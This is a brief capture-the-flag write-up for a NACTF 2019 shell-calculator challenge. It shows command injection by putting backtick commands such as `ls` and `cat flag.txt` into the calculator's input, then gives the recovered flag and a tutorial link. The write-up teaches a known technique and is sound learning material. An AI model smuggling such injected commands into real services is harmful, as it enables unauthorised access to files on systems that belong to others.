This is code injection. So we will inject code like this:
> $ nc shell.2019.nactf.com 31214> shcalc v1.1> > `ls` > sh: 1: arithmetic expression: expecting EOF: "calc.sh> flag.txt"> > `cat flag.txt`> sh: 1: arithmetic expression: expecting EOF: "nactf{3v4l_1s_3v1l_dCf80yOo}"> > Flag
**nactf{3v4l_1s_3v1l_dCf80yOo}**ressource : https://ctf101.org/web-exploitation/command-injection/what-is-command-injection/